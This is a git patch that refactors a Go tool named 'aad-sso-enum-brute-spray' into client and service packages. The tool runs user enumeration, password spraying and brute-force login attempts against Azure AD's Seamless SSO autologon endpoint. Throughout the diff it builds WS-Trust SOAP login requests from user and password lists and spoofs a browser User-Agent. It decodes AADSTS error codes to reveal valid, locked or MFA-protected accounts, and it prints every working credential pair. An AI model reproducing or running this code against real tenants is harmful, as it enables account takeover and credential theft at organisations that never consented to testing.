From 16f8ae34bdf262a2adc171b3ca14a0ebc1b04b99 Mon Sep 17 00:00:00 2001 From: CristianQS Date: Sun, 14 Nov 2021 21:35:12 +0000 Subject: [PATCH] extract services and clients --- cmd/Flag.go | 16 --- cmd/main.go | 173 ++++++------------------------- pkg/clients/AzureClient.go | 114 ++++++++++++++++++++ pkg/dto/AzureErrorResponseDto.go | 4 +- pkg/services/EnumUsers.go | 41 ++++++++ pkg/services/PasswordAttack.go | 40 +++++++ 6 files changed, 227 insertions(+), 161 deletions(-) delete mode 100644 cmd/Flag.go create mode 100644 pkg/clients/AzureClient.go create mode 100644 pkg/services/EnumUsers.go create mode 100644 pkg/services/PasswordAttack.go diff --git a/cmd/Flag.go b/cmd/Flag.go deleted file mode 100644 index 46097c5..0000000 --- a/cmd/Flag.go +++ /dev/null @@ -1,16 +0,0 @@ -package main - -type Flag struct { - set bool - value string -} - -func (sf *Flag) Set(x string) error { - sf.value = x - sf.set = true - return nil -} - -func (sf *Flag) String() string { - return sf.value -} diff --git a/cmd/main.go b/cmd/main.go index e184de6..361074f 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -1,28 +1,37 @@ package main import ( - "aad-sso-enum-brute-spray/pkg/dto" + "aad-sso-enum-brute-spray/pkg/clients" + "aad-sso-enum-brute-spray/pkg/services" "bufio" - "encoding/xml" "flag" - "fmt" - "github.com/google/uuid" "io" - "io/ioutil" "log" - "net/http" "os" "strings" "sync" "time" ) +type Flag struct { + set bool + value string +} + +func (sf *Flag) Set(x string) error { + sf.value = x + sf.set = true + return nil +} + +func (sf *Flag) String() string { + return sf.value +} var ( email Flag password Flag emailsFile Flag passwordsFile Flag - output io.Writer wg sync.WaitGroup ) @@ -41,12 +50,13 @@ func main() { log.Print(err) os.Exit(1) } - output = io.MultiWriter(os.Stdout, fd) + output := io.MultiWriter(os.Stdout, fd) if email.set && password.set { wg.Add(1) domain := strings.Split(email.value, "@")[1] - go requestAzureActiveDirectory(domain, email.value, password.value) + client := clients.NewAzureClient() + go client.GetAzureActiveDirectory(domain, email.value, password.value,&wg,output) } if emailsFile.set { if _, err := os.Stat(emailsFile.value); os.IsNotExist(err) { @@ -61,121 +71,23 @@ func main() { } } if passwordsFile.set && emailsFile.set { - bruteForcing(emailsFile.value, passwordsFile.value) + bruteForcing(emailsFile.value, passwordsFile.value, output) } if email.set && passwordsFile.set { domain := strings.Split(email.value, "@")[1] - passwordAttack(passwordsFile.value, email.value, domain) + client := clients.NewAzureClient() + passwordAttack := services.NewPasswordAttack(passwordsFile.value,email.value,domain,client,&wg, output) + passwordAttack.Execute() } if emailsFile.set && password.set { - enumUsers(emailsFile.value, password.value) + client := clients.NewAzureClient() + enumUsers := services.NewEnumUsers(emailsFile.value, password.value,client,&wg,output) + enumUsers.Execute() } wg.Wait() } -func requestAzureActiveDirectory(domain string, user string, password string) { - requestid := uuid.New() - MessageID := uuid.New() - userID := uuid.New() - now := time.Now() - creates := now.Format(time.RFC3339Nano) - expires := now.Add(time.Minute * 10).Format(time.RFC3339Nano) - url := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid.String() - body := strings.NewReader(` - - - http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue - ` + url + ` - urn:uuid:` + MessageID.String() + ` - - - ` + creates + ` - ` + expires + ` - - - ` + user + ` - ` + password + ` - - - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/Issue - - - urn:federation:MicrosoftOnline - - - http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey - - - -`) - // create a request object - req, _ := http.NewRequest( - "POST", - url, - body, - ) - // add a request header - req.Header.Add("Content-Type", "application/json; charset=UTF-8") - req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/94.0.992.50") - // send an HTTP using `req` object - res, err := http.DefaultClient.Do(req) - // check for response error - if err != nil { - log.Fatal("Error:", err) - } - // read response body - data, _ := ioutil.ReadAll(res.Body) - // close response body - res.Body.Close() - // print response status and body - if res.StatusCode != 200 { - errorCodeMessage := getErrorCodeMessage(getErrorCode(string(data))) - errorMessage := fmt.Sprintf("%s:%s -> %s", user, password, errorCodeMessage) - fmt.Fprintln(output, errorMessage) - } else { - fmt.Fprintln(output, fmt.Sprintf("%s:%s -> Correct credentials", user, password)) - } - - defer wg.Done() -} - -func bruteForcing(usersFile string, passwordsFile string) { - users, err := os.Open(usersFile) - if err != nil { - log.Fatal(err) - } - defer users.Close() - scannerUsers := bufio.NewScanner(users) - for scannerUsers.Scan() { - user := scannerUsers.Text() - domain := strings.Split(user, "@")[1] - passwordAttack(passwordsFile, user, domain) - } - if err := scannerUsers.Err(); err != nil { - log.Fatal(err) - } -} - -func passwordAttack(passwordsFile string, user string, domain string) { - passwords, err := os.Open(passwordsFile) - if err != nil { - log.Fatal(err) - } - defer passwords.Close() - scannerPasswords := bufio.NewScanner(passwords) - for scannerPasswords.Scan() { - wg.Add(1) - go requestAzureActiveDirectory(domain, user, scannerPasswords.Text()) - } - if err := scannerPasswords.Err(); err != nil { - log.Fatal(err) - } -} - -func enumUsers(usersFile string, password string) { +func bruteForcing(usersFile string, passwordsFile string, writer io.Writer) { users, err := os.Open(usersFile) if err != nil { log.Fatal(err) @@ -183,38 +95,13 @@ func enumUsers(usersFile string, password string) { defer users.Close() scannerUsers := bufio.NewScanner(users) for scannerUsers.Scan() { - wg.Add(1) user := scannerUsers.Text() domain := strings.Split(user, "@")[1] - go requestAzureActiveDirectory(domain, user, password) + client := clients.NewAzureClient() + passwordAttack := services.NewPasswordAttack(passwordsFile, user, domain, client, &wg, writer) + passwordAttack.Execute() } if err := scannerUsers.Err(); err != nil { log.Fatal(err) } } - -func getErrorCode(xmlcode string) string { - // Extract error code from xml response - azureErrorResponseDto := dto.AzureErrorResponseDto{} - _ = xml.Unmarshal([]byte(xmlcode), &azureErrorResponseDto) - errorCode := strings.Split(azureErrorResponseDto.Error, ":")[0] - return errorCode -} - -func getErrorCodeMessage(errorCode string) string { - var errorCodesMessage = map[string]string{ - "AADSTS81016": "Invalid STS request", - "AADSTS50053": "Locked", - "AADSTS50126": "Bad Password", - "AADSTS50056": "Exists w/no password", - "AADSTS50014": "Exists, but max passthru auth time exceeded", - "AADSTS50076": "Need mfa", - "AADSTS700016": "No app", - "AADSTS50034": "No user", - } - if errorCodeMessage := errorCodesMessage[errorCode]; errorCodeMessage != "" { - return errorCodeMessage - } - return "No error message for ErrorCode: " + errorCode -} - diff --git a/pkg/clients/AzureClient.go b/pkg/clients/AzureClient.go new file mode 100644 index 0000000..b6adcdb --- /dev/null +++ b/pkg/clients/AzureClient.go @@ -0,0 +1,114 @@ +package clients + +import ( + "aad-sso-enum-brute-spray/pkg/dto" + "encoding/xml" + "fmt" + "github.com/google/uuid" + "io" + "io/ioutil" + "log" + "net/http" + "strings" + "sync" + "time" +) + +type AzureClient struct {} + +func NewAzureClient() *AzureClient { + return &AzureClient{} +} + +func (azc *AzureClient) GetAzureActiveDirectory(domain string, user string, password string, wg *sync.WaitGroup, writer io.Writer) { + requestid := uuid.New() + MessageID := uuid.New() + userID := uuid.New() + now := time.Now() + creates := now.Format(time.RFC3339Nano) + expires := now.Add(time.Minute * 10).Format(time.RFC3339Nano) + url := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid.String() + body := strings.NewReader(` + + + http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue + ` + url + ` + urn:uuid:` + MessageID.String() + ` + + + ` + creates + ` + ` + expires + ` + + + ` + user + ` + ` + password + ` + + + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/Issue + + + urn:federation:MicrosoftOnline + + + http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey + + + +`) + // create a request object + req, _ := http.NewRequest( + "POST", + url, + body, + ) + // add a request header + req.Header.Add("Content-Type", "application/json; charset=UTF-8") + req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/94.0.992.50") + // send an HTTP using `req` object + res, err := http.DefaultClient.Do(req) + // check for response error + if err != nil { + log.Fatal("Error:", err) + } + // read response body + data, _ := ioutil.ReadAll(res.Body) + // close response body + res.Body.Close() + // print response status and body + if res.StatusCode != 200 { + errorCodeMessage := getErrorCodeMessage(getErrorCode(string(data))) + errorMessage := fmt.Sprintf("%s:%s -> %s", user, password, errorCodeMessage) + fmt.Fprintln(writer, errorMessage) + } else { + fmt.Fprintln(writer, fmt.Sprintf("%s:%s -> Correct credentials", user, password)) + } + defer wg.Done() +} + +func getErrorCode(xmlcode string) string { + // Extract error code from xml response + azureErrorResponseDto := dto.AzureErrorResponseDto{} + _ = xml.Unmarshal([]byte(xmlcode), &azureErrorResponseDto) + errorCode := strings.Split(azureErrorResponseDto.Error, ":")[0] + return errorCode +} + +func getErrorCodeMessage(errorCode string) string { + var errorCodesMessage = map[string]string{ + "AADSTS81016": "Invalid STS request", + "AADSTS50053": "Locked", + "AADSTS50126": "Bad Password", + "AADSTS50056": "Exists w/no password", + "AADSTS50014": "Exists, but max passthru auth time exceeded", + "AADSTS50076": "Need mfa", + "AADSTS700016": "No app", + "AADSTS50034": "No user", + } + if errorCodeMessage := errorCodesMessage[errorCode]; errorCodeMessage != "" { + return errorCodeMessage + } + return "No error message for ErrorCode: " + errorCode +} \ No newline at end of file diff --git a/pkg/dto/AzureErrorResponseDto.go b/pkg/dto/AzureErrorResponseDto.go index be311af..183c311 100644 --- a/pkg/dto/AzureErrorResponseDto.go +++ b/pkg/dto/AzureErrorResponseDto.go @@ -1,5 +1,5 @@ -package main +package dto type AzureErrorResponseDto struct { - Code string `xml:"Body>Fault>Detail>error>internalerror>text"` + Error string `xml:"Body>Fault>Detail>error>internalerror>text"` } diff --git a/pkg/services/EnumUsers.go b/pkg/services/EnumUsers.go new file mode 100644 index 0000000..fbfa4bd --- /dev/null +++ b/pkg/services/EnumUsers.go @@ -0,0 +1,41 @@ +package services + +import ( + "aad-sso-enum-brute-spray/pkg/clients" + "bufio" + "io" + "log" + "os" + "strings" + "sync" +) + +type EnumUsers struct { + usersFile string + password string + azureClient *clients.AzureClient + wg *sync.WaitGroup + writer io.Writer +} + +func NewEnumUsers(usersFile string, password string, azureClient *clients.AzureClient, wg *sync.WaitGroup, writer io.Writer) *EnumUsers { + return &EnumUsers{usersFile: usersFile, password: password, azureClient: azureClient, wg: wg, writer: writer} +} + +func (eu *EnumUsers) Execute() { + users, err := os.Open(eu.usersFile) + if err != nil { + log.Fatal(err) + } + defer users.Close() + scannerUsers := bufio.NewScanner(users) + for scannerUsers.Scan() { + eu.wg.Add(1) + user := scannerUsers.Text() + domain := strings.Split(user, "@")[1] + go eu.azureClient.GetAzureActiveDirectory(domain, user, eu.password, eu.wg, eu.writer) + } + if err := scannerUsers.Err(); err != nil { + log.Fatal(err) + } +} diff --git a/pkg/services/PasswordAttack.go b/pkg/services/PasswordAttack.go new file mode 100644 index 0000000..9f36e17 --- /dev/null +++ b/pkg/services/PasswordAttack.go @@ -0,0 +1,40 @@ +package services + +import ( + "aad-sso-enum-brute-spray/pkg/clients" + "bufio" + "io" + "log" + "os" + "sync" +) + +type PasswordAttack struct { + passwordFile string + user string + domain string + azureClient *clients.AzureClient + wg *sync.WaitGroup + writer io.Writer +} + +func NewPasswordAttack(passwordFile string, user string, domain string, azureClient *clients.AzureClient, + wg *sync.WaitGroup, writer io.Writer) *PasswordAttack { + return &PasswordAttack{passwordFile: passwordFile, user: user, domain: domain, azureClient: azureClient, wg: wg, writer: writer} +} + +func (p *PasswordAttack) Execute() { + passwords, err := os.Open(p.passwordFile) + if err != nil { + log.Fatal(err) + } + defer passwords.Close() + scannerPasswords := bufio.NewScanner(passwords) + for scannerPasswords.Scan() { + p.wg.Add(1) + go p.azureClient.GetAzureActiveDirectory(p.domain, p.user, scannerPasswords.Text(), p.wg, p.writer) + } + if err := scannerPasswords.Err(); err != nil { + log.Fatal(err) + } +}